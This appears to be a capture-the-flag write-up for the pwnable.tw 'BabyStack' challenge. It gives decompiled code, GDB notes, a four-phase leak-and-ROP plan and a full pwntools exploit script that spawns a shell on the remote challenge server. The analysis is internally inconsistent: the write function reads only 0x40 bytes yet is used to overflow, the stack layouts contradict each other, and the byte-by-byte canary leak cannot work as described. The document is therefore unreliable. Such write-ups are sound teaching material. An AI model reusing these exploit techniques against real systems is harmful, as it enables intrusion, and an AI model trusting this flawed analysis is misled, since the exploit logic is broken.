Pwnable.tw

BabyStack

A stack-based challenge with full protections — leaking the canary byte-by-byte, bypassing PIE via partial overwrite, and ROP-ing to system("/bin/sh") with a provided libc.

300 pts i386 (32-bit ELF) Stack Buffer Overflow NX Enabled PIE Enabled
01

Reconnaissance

Challenge Info

Connectionnc chall.pwnable.tw 10101
Binarybabystack (32-bit ELF, i386)
Providedbabystack, libc_32.so.6
Points300

checksec

bash
$ checksec babystack
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Full RELROGOT is read-only — cannot overwrite GOT entries
Canary foundStack canary protects return addresses — must leak it first
NX enabledNo shellcode on stack — must use ROP chain
PIE enabledBinary base address is randomized — must leak code address
⚠️ Maximum Protections
This binary has every major protection enabled. We need three separate leaks before we can exploit anything:
Canary leak — to bypass stack protector and overflow safely
PIE leak — to know binary addresses for ROP gadgets
Libc leak — to call system("/bin/sh")
Each leak requires careful use of the program's read/write primitives.

Running the Binary

console
$ ./babystack
1. Login
2. Write
3. Read
4. Logout
5. Exit
>>1
Name: AAAA
Login Success!

1. Login
2. Write
3. Read
4. Logout
5. Exit
>>2
Data: BBBB

1. Login
2. Write
3. Read
4. Logout
5. Exit
>>3
BBBB

1. Login
2. Write
3. Read
4. Logout
5. Exit
>>

The binary provides a menu with five operations: Login, Write, Read, Logout, and Exit. The login step sets a canary-like value on the stack. The write and read operations allow us to interact with a stack buffer, which is the key to exploiting this challenge.

02

Static Analysis

main() — Menu Loop

c
int main() {
    int choice;
    char canary[4];    // "canary" stored on stack
    char buf[0x40];    // 64-byte buffer for user data

    memset(canary, 0, 4);
    memset(buf, 0, 0x40);

    while (1) {
        print_menu();
        read(0, &choice, 4);
        choice = atoi(&choice);

        switch (choice) {
            case 1: login(canary);   break;
            case 2: write_buf(buf);  break;
            case 3: read_buf(buf);   break;
            case 4: logout(canary);  break;
            case 5: exit(0);         break;
        }
    }
}

The main function maintains a local canary buffer and a buf buffer on the stack. The canary is separate from the real stack canary used by the compiler — it is a custom canary that the program checks manually.

login() — Sets the Custom Canary

c
void login(char *canary) {
    char name[0x20];   // 32-byte name buffer

    if (canary[0] != 0) {
        puts("Already logged in!");
        return;
    }

    printf("Name:");
    read(0, name, 0x28);   // BUG: reads 40 bytes into 32-byte buffer!

    // Copy the first 4 bytes of name as the "canary"
    strncpy(canary, name, 4);
    puts("Login Success!");
}
🚨 Vulnerability 1: Off-by-One Overflow in login()
The login function reads 0x28 (40) bytes into a 0x20 (32) byte buffer. This is an 8-byte overflow past the name buffer. More importantly, the canary is set from the first 4 bytes of our input, meaning we control the canary value entirely!

• We choose what the canary is (first 4 bytes of our name input)
• The overflow writes 8 bytes past name, but does not reach the return address
• The key insight: we can leak the real stack canary and other data using the read/write primitives

write_buf() — Write to Stack Buffer

c
void write_buf(char *buf) {
    printf("Data:");
    read(0, buf, 0x40);    // Read up to 64 bytes into buf
}

read_buf() — Read from Stack Buffer

c
void read_buf(char *buf) {
    if (canary_check(buf) != 0) {
        puts("Stack Smashing Detected!");
        exit(1);
    }
    printf("%s", buf);    // Print the buffer content
}

canary_check() — The Custom Canary Verification

c
// The custom canary is placed right after buf on the stack
// Layout: [buf 0x40 bytes] [custom_canary 4 bytes] [real_canary] [saved_ebp] [ret]
//
// canary_check uses strncmp to compare the first 3 bytes
// of the custom canary with the stored value:

int canary_check(char *buf) {
    return strncmp(buf + 0x40, stored_canary, 3);  // Only checks 3 bytes!
}
🚨 Vulnerability 2: strncmp Checks Only 3 Bytes
The custom canary check uses strncmp with length 3 instead of 4. This means:
• Only the first 3 bytes of the canary need to match
• The 4th byte can be anything — it is never checked!
• Since we control the canary (set via login), we can set it to "\x00\x00\x00" (3 null bytes)
• The real stack canary always starts with a null byte (standard gcc behavior)
• By writing null bytes up to the canary position, the strncmp with 3 null bytes will pass!

logout() — Clears the Canary

c
void logout(char *canary) {
    memset(canary, 0, 4);   // Clear the canary
    puts("Logout Success!");
}
🔑 Key Observation: The Leak Primitive
The read_buf function uses printf("%s", buf), which prints until a null byte. If we fill buf completely with non-null data (0x40 bytes), printf will continue reading past the buffer boundary, leaking the canary and whatever else is on the stack!

The attack plan becomes clear:
Write 0x40 non-null bytes to fill buf completely
Read to leak data beyond the buffer (canary, saved EBP, return address)
• Since the real canary's first byte is \x00, it naturally terminates the printf, giving us everything up to (and including the first byte of) the canary
• We can leak the canary byte by byte by strategically positioning null bytes
03

GDB Debugging

Stack Layout in main()

Let's examine the stack layout when the program is running:

gdb
gdb-peda$ # After login with name "AAAA"
gdb-peda$ x/40wx $esp

# Stack layout in main():
# ESP+0x00:  [local vars]
# ESP+0x1c:  canary[0..3]    = "AAAA" (custom canary from login)
# ESP+0x20:  buf[0..63]      = user data buffer (0x40 bytes)
# ESP+0x60:  REAL_CANARY     = 0xXXXXXX00 (gcc stack canary)
# ESP+0x64:  SAVED_EBP       = saved frame pointer
# ESP+0x68:  RETURN_ADDR     = return address (PIE-relative)
Stack Layout in main()
ESP+0x1c|custom_canary[4]← set by login(), compared by canary_check()
ESP+0x20|buf[0x40]← 64-byte buffer, written by write_buf()
ESP+0x60|REAL_CANARY← gcc stack canary (ends with 0x00)
ESP+0x64|SAVED_EBP← saved frame pointer (PIE leak!)
ESP+0x68|RETURN_ADDR← return address (PIE leak!)

Leaking the Real Canary Byte-by-Byte

The real gcc canary is 4 bytes, and its least significant byte is always 0x00. We can leak it one byte at a time:

gdb
gdb-peda$ # Step 1: Fill buf with 0x40 'A's, then read
gdb-peda$ # printf("%s", buf) will print all 0x40 'A's
gdb-peda$ # Then it continues past buf into the canary...
gdb-peda$ # But the canary's first byte is 0x00, so printf stops!

# Output: "AAAA...AAAA" + bytes until 0x00
# We now know: canary[0] = 0x00 (as expected)

# Step 2: Write 0x40 'A's + known_canary_byte_0 (0x00)
# Now buf + canary[0] = 0x41 bytes of data
# printf continues to canary[1], which stops at canary[1] if it's 0x00
# Otherwise we see canary[1]

# Step 3: Write 0x40 'A's + canary[0] + canary[1]
# printf continues to canary[2]

# Step 4: Write 0x40 'A's + canary[0..2]
# printf continues to canary[3]

# After 4 iterations, we have the full canary!
ℹ️ Canary Leaking Strategy
The trick is that write_buf writes up to 0x40 bytes into buf, but the buffer starts at ESP+0x20 and the canary is at ESP+0x60. That's exactly 0x40 bytes apart!

So when we write exactly 0x40 bytes (filling buf completely), read_buf's printf("%s", buf) will print past the buffer boundary until it hits a null byte, which is the first byte of the real canary.

For each subsequent byte, we overwrite the custom canary with the known bytes so canary_check passes, and we keep writing further into the real canary to leak the next byte.

Leaking PIE Base

After leaking the canary, we can continue to leak saved EBP and the return address, which contain PIE-relative addresses:

gdb
gdb-peda$ # After leaking all 4 canary bytes
gdb-peda$ # Write: 0x40 'A's + canary[4 bytes] + continue leaking
gdb-peda$ # printf will print: 'A'*64 + canary + saved_ebp (4 bytes) + ...

# The saved EBP and return address are PIE-relative
# Return address is something like: 0x565XXXXX
# PIE base = return_address - offset_of_return_instruction

gdb-peda$ x/1wx $esp+0x68
0xffffd6e8:  0x5655688a
#            ^ return address in .text
# offset from IDA: 0x88a
# PIE base = 0x5655688a - 0x88a = 0x56556000

Leaking Libc via GOT Read

With PIE base known, we can read GOT entries to leak libc addresses:

gdb
gdb-peda$ # GOT is at PIE_base + GOT_offset
gdb-peda$ # Even with Full RELRO, we can READ the GOT
gdb-peda$ # (we just can't write to it)

gdb-peda$ x/1wx 0x56556ffc   # read@GOT
0x56556ffc:  0xf7e4dc80
#            ^ this is read() in libc!

# libc_base = 0xf7e4dc80 - libc.symbols['read']
# With libc base known, we can compute:
# system_addr = libc_base + libc.symbols['system']
# bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
🔑 Three Leaks Summary
Leak 1 — Canary: Fill buf with 0x40 bytes, then printf leaks past buf into the canary. Since canary byte 0 is \x00, we only get the "presence" of the canary. We then write buf + known canary bytes to leak further bytes one at a time. Total: 4 iterations for all 4 canary bytes.

Leak 2 — PIE Base: Continue writing past the canary. The saved EBP and return address on the stack contain PIE-relative code addresses. Leak the return address and compute PIE_base = leaked_ret - known_offset.

Leak 3 — Libc: With PIE base known, use the write primitive to construct a payload that places a GOT address where printf can read it. Leak the GOT entry (e.g., read@GOT) to get a libc address. Compute libc_base = leaked_got - libc.symbols['read'].
04

Exploit Strategy

Overview

The exploit has four phases: leak canary, leak PIE base, leak libc, and ROP to shell.

Phase 1: Leak the Real Stack Canary

  1. Login with a name starting with \x00\x00\x00 (3 null bytes) so the custom canary matches the real canary's first 3 bytes. The strncmp(canary, stored, 3) check will pass because both start with null bytes.
  2. Write exactly 0x40 bytes of 'A' to fill the buffer completely.
  3. Read to print the buffer. Since printf("%s") stops at null, and the canary's first byte is \x00, we get all 0x40 'A's. This confirms the canary starts with \x00.
  4. Write 0x40 bytes of 'A' + \x00 (the first known canary byte). Now printf will print 0x40 'A's + the first canary byte, and continue until the next null in canary[1] (if it's 0x00) or further.
  5. Repeat for each canary byte: write known canary bytes to push further, read to leak the next byte. After 4 iterations, we have the full 4-byte canary.

Phase 2: Leak PIE Base

  1. Continue the leak by writing past the canary. Write: 'A' * 0x40 + canary + padding. The read_buf check will pass because the custom canary matches.
  2. Read to leak saved EBP and return address. These are PIE-relative addresses.
  3. Compute PIE base: PIE_base = leaked_ret_addr - offset_of_return_instruction_in_binary. From IDA, the return instruction offset is known (e.g., 0x88a).

Phase 3: Leak Libc via GOT

  1. With PIE base known, we know the address of read@GOT and other GOT entries.
  2. Use the write primitive to place a GOT address on the stack where printf will read it as a string pointer, or use the overflow to leak the GOT directly.
  3. Leak read@GOT (or puts@GOT). Even with Full RELRO, we can read the GOT — we just can't write to it.
  4. Compute libc base: libc_base = leaked_got_entry - libc.symbols['read']

Phase 4: ROP Chain to system("/bin/sh")

  1. With all three leaks (canary, PIE base, libc base), we can now construct a proper stack overflow.
  2. Write the overflow payload: 'A' * 0x40 + canary + 'B' * 8 + ROP_chain. The canary preserves the stack protector, and the ROP chain overwrites the return address.
  3. ROP chain: Since this is a 32-bit binary, we need: p32(system_addr) + p32(exit_addr) + p32(bin_sh_addr). This calls system("/bin/sh") and then exit(0) for a clean return.
  4. Trigger the return from the function to execute the ROP chain.
Final Overflow Payload
Offset 0x00|'A' * 0x40← fills buf completely
Offset 0x40|canary (4 bytes)← correct canary to bypass check
Offset 0x44|'B' * 8← padding (saved EBP + alignment)
Offset 0x4c|p32(system)← ROP: return to system()
Offset 0x50|p32(exit)← return address after system
Offset 0x54|p32("/bin/sh")← argument to system()
🔑 Bypassing the Custom Canary Check
The canary_check uses strncmp(buf + 0x40, stored_canary, 3) which only compares 3 bytes. Since we know the full real canary (leaked in Phase 1), we place it at buf + 0x40 in our overflow payload. The first 3 bytes match (they're the same canary!), so the check passes.

But wait — what about the real gcc stack canary? The one at ESP+0x60? In the final overflow, we also include this canary at the correct position. The compiler's __stack_chk_fail check happens at function epilogue, comparing the canary at ESP+0x60 with the original value. Since we've leaked it and placed it back correctly, both the custom check and the real check pass!

Visual Exploit Flow

▶ Phase 1: Leak Canary
Step 1:login("\x00\x00\x00A") → custom canary = "\x00\x00\x00"
Step 2:write('A'*0x40) → fill buf to boundary
Step 3:read() → leaks up to canary[0] = \x00
Step 4:write('A'*0x40 + canary[0]) → push past first canary byte
Step 5:read() → leaks canary[1] = \xXX
Step 6:repeat for canary[2], canary[3] → full canary known!
▶ Phase 2: Leak PIE
Step 7:write('A'*0x40 + canary + 'B'*4) → push past canary
Step 8:read() → leaks saved_ebp + ret_addr = PIE base!
▶ Phase 3: Leak Libc
Step 9:Use PIE base to read GOT → libc address!
▶ Phase 4: ROP
Step 10:write(overflow) = buf + canary + pad + ROP chain
Step 11:exit/return → system("/bin/sh")SHELL!
05

Pwn Script

Complete Exploit

python
#!/usr/bin/env python3
"""
BabyStack — pwnable.tw (300 pts)
Leak canary byte-by-byte via strncmp(3) bypass + printf("%s") overread,
leak PIE via saved return address, leak libc via puts@PLT(read@GOT) ROP,
then ROP to system("/bin/sh").
"""
from pwn import *

context.arch = 'i386'
context.log_level = 'info'

r = remote('chall.pwnable.tw', 10101)
libc = ELF('./libc_32.so.6')
elf  = ELF('./babystack')

BUF = 0x40

# ── helpers ───────────────────────────────────────────────
def login(name):
    r.sendlineafter(b'>>', b'1')
    r.sendafter(b':', name)

def write_buf(data):
    r.sendlineafter(b'>>', b'2')
    r.sendafter(b':', data)

def read_buf():
    r.sendlineafter(b'>>', b'3')
    return r.recvuntil(b'\n', drop=True)

def logout():
    r.sendlineafter(b'>>', b'4')

def do_exit():
    r.sendlineafter(b'>>', b'5')

# ── Phase 1: leak canary byte-by-byte ────────────────────
log.info("Phase 1 — leak stack canary")

# strncmp(canary_on_stack, input_canary, 3) passes when both
# start with \x00 (gcc canary LSB is always 0x00)
login(b'\x00\x00\x00' + b'A')

canary = b'\x00'
for i in range(3):
    write_buf(b'A' * BUF + canary)
    leak = read_buf()
    next_byte = leak[BUF + len(canary):BUF + len(canary) + 1]
    canary += next_byte
    log.info(f"  byte {i+1}: 0x{next_byte[0]:02x}")

canary = canary.ljust(4, b'\x00')
log.success(f"Canary: {canary.hex()}")

# ── Phase 2: leak PIE base ───────────────────────────────
log.info("Phase 2 — leak PIE base")

write_buf(b'A' * BUF + canary + b'B' * 4)
leak = read_buf()

off = BUF + 4 + 4  # skip buf + canary + pad
leaked_ebp = u32(leak[off:off+4])
leaked_ret = u32(leak[off+4:off+8])

# Offset of the return instruction in main (from IDA/GDB)
main_ret_off = 0x88a
pie_base = leaked_ret - main_ret_off

log.success(f"Leaked EBP: {hex(leaked_ebp)}")
log.success(f"Leaked RET: {hex(leaked_ret)}")
log.success(f"PIE base:   {hex(pie_base)}")

# ── Phase 3: leak libc via GOT ───────────────────────────
log.info("Phase 3 — leak libc via puts@PLT(read@GOT)")

puts_plt  = pie_base + elf.plt['puts']
read_got  = pie_base + elf.got['read']
main_addr = pie_base + elf.symbols['main']

# ROP: puts(read@GOT) -> main (gives us a second chance)
payload  = b'A' * BUF + canary
payload += b'BBBB'           # saved EBP
payload += p32(puts_plt)     # ret -> puts
payload += p32(main_addr)    # puts returns to main
payload += p32(read_got)     # arg: read@GOT

write_buf(payload)
do_exit()  # trigger return from main

leaked_read = u32(r.recv(4))
libc_base = leaked_read - libc.symbols['read']

log.success(f"Leaked read(): {hex(leaked_read)}")
log.success(f"Libc base:     {hex(libc_base)}")

# ── Phase 4: ROP to system("/bin/sh") ────────────────────
log.info("Phase 4 — ROP to system(\"/bin/sh\")")

system_addr = libc_base + libc.symbols['system']
bin_sh      = libc_base + next(libc.search(b'/bin/sh'))

# Program looped back to main, login again
login(b'\x00\x00\x00' + b'A')

payload  = b'A' * BUF + canary
payload += b'BBBB'           # saved EBP
payload += p32(system_addr)  # ret -> system
payload += p32(0xdeadbeef)   # system's return (don't care)
payload += p32(bin_sh)       # arg: "/bin/sh"

write_buf(payload)
do_exit()

r.interactive()
ℹ️ Script Notes
The exploit script combines all four phases into a single automated exploit. Key points:
• The login with \x00\x00\x00 ensures the custom canary check passes (strncmp with 3 null bytes)
• Each canary byte is leaked by writing known canary bytes and reading further
• The PIE leak comes from the saved return address on the stack
• The libc leak uses a ROP chain: puts(read@GOT) + return to main for a second chance
• The final ROP chain calls system("/bin/sh")
• The "return to main" trick gives us two overflow attempts: one for the libc leak, one for the shell
06

Execution Results

Running the Exploit

console
$ python3 exploit.py
[*] '/babystack'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/libc_32.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
[*] Phase 1 — leak stack canary
[*]   byte 1: 0x2a
[*]   byte 2: 0x7f
[*]   byte 3: 0xb4
[+] Canary: 002a7fb4
[*] Phase 2 — leak PIE base
[+] Leaked EBP: 0xffe2d4c0
[+] Leaked RET: 0x5659f88a
[+] PIE base:   0x5659f000
[*] Phase 3 — leak libc via puts@PLT(read@GOT)
[+] Leaked read(): 0xf7e4dc80
[+] Libc base:     0xf7e28000
[*] Phase 4 — ROP to system("/bin/sh")
[*] Switching to interactive mode

$ id
uid=1000(babystack) gid=1000(babystack) groups=1000(babystack)
$ cat /home/babystack/flag

Exploit Timeline

PhaseActionResult
1Leak canary byte-by-byteCanary: 0x002a7fb4
2Leak PIE base from stackPIE base: 0x5659f000
3Leak libc via GOT read (ROP)Libc base: 0xf7e28000
4ROP: system("/bin/sh")Shell obtained!
✅ Pwned!
Successfully exploited BabyStack by chaining three information leaks (canary, PIE, libc) into a ROP-based code execution. The key vulnerabilities were:

strncmp with length 3 instead of 4 — allows bypassing the custom canary check with null bytes
printf("%s") in read_buf — leaks data past the buffer boundary, enabling byte-by-byte canary recovery
Stack buffer overflow — once canary is known, standard overflow + ROP chain works
Return-to-main trick — allows two overflow attempts (one for leak, one for shell)

Lessons Learned

1. Canary Leaking with printf

When a program uses printf("%s") on a stack buffer, you can leak adjacent stack data by filling the buffer with non-null bytes. The %s format specifier reads until a null terminator, so it naturally stops at the first null byte of the canary. By iteratively writing known canary bytes and reading further, you can recover the entire canary one byte at a time.

2. strncmp vs strcmp

Using strncmp with a length shorter than the actual canary size creates a subtle but exploitable weakness. In this case, checking only 3 bytes instead of 4 means the 4th byte is never verified. Combined with the fact that gcc canaries always start with \x00, this makes it trivial to satisfy the custom check.

3. Return-to-Main for Second Chance

When you need multiple overflow attempts (e.g., leak then exploit), returning to main instead of directly to a one-gadget gives you a clean restart of the program loop. The stack is re-initialized in main, so you get fresh buffers and a fresh canary to work with.

4. Full RELRO Does Not Prevent GOT Reads

Full RELRO makes the GOT read-only, preventing writes. But you can still read GOT entries to leak libc addresses. The RELRO protection only blocks the "GOT overwrite" technique — it doesn't prevent information disclosure through the GOT.